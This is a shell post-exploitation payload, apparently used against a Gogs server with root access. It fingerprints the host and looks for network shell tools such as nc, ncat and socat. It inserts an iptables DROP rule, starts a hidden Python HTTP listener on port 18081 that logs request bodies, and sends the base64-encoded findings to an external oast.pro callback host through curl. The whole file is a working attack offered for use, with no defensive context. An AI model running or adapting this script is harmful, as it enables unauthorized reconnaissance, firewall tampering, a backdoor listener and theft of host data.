#!/bin/sh
TAG="4392043"
OUT="/root/gogs/data/tmp/local-repo/5878/_setup_$TAG.txt"
{
  echo "tag=$TAG"
  echo "uid=$(id 2>&1)"
  echo "host=$(hostname 2>&1)"
  echo "py=$(command -v python3 2>&1)"
  echo "nc=$(command -v nc 2>&1)"
  echo "ncat=$(command -v ncat 2>&1)"
  echo "socat=$(command -v socat 2>&1)"
  echo "busybox=$(command -v busybox 2>&1)"
  echo "iptables=$(command -v iptables 2>&1)"
  echo "curl=$(command -v curl 2>&1)"
  echo "--- iptables drop 18082 ---"
  iptables -I INPUT -p tcp --dport 18082 -j DROP 2>&1 || true
  iptables -S INPUT 2>&1 | head -20
  echo "--- start listener 18081 ---"
  PY=$(command -v python3)
  if [ -n "$PY" ]; then
    cat > /root/pz_listener.py <<'PYEOF'
import http.server, socketserver, time
class H(http.server.BaseHTTPRequestHandler):
    def _log(self, body=b''):
        import time
        try:
            with open('/root/pz_cb_18081.log','a') as f:
                f.write('%s %s %s %s BODY=%r
' % (time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime()), self.client_address[0], self.command + ' ' + self.path, dict(self.headers), body[:500]))
        except Exception as e:
            pass
    def do_GET(self):
        self._log(); self.send_response(200); self.send_header('Content-Length','2'); self.end_headers(); self.wfile.write(b'ok')
    def do_POST(self):
        ln = int(self.headers.get('Content-Length') or 0)
        body = self.rfile.read(ln) if ln else b''
        self._log(body); self.send_response(200); self.send_header('Content-Length','2'); self.end_headers(); self.wfile.write(b'ok')
    def log_message(self, *a): pass
socketserver.ThreadingTCPServer.allow_reuse_address = True
httpd = socketserver.ThreadingTCPServer(('0.0.0.0', 18081), H)
httpd.serve_forever()
PYEOF
    nohup "$PY" /root/pz_listener.py >/dev/null 2>&1 &
    echo "LISTENER_PID=$!"
    sleep 1
    echo "--- local check ---"
    curl -s -m 3 http://127.0.0.1:18081/selftest 2>&1 | head -c 50; echo
  fi
  echo "--- listener log ---"
  cat /root/pz_cb_18081.log 2>&1 | tail -5
} > "$OUT" 2>&1
D=$( base64 -w0 < "$OUT" 2>/dev/null | tr '+/' '-_' | tr -d '=' )
U="http://cd4547282df75cd148ebcbfcf32c8ee45.oast.pro/setup/$TAG/$D"
if command -v curl >/dev/null 2>&1; then curl -s -m 15 -o /dev/null "$U" || true; fi
exit 0
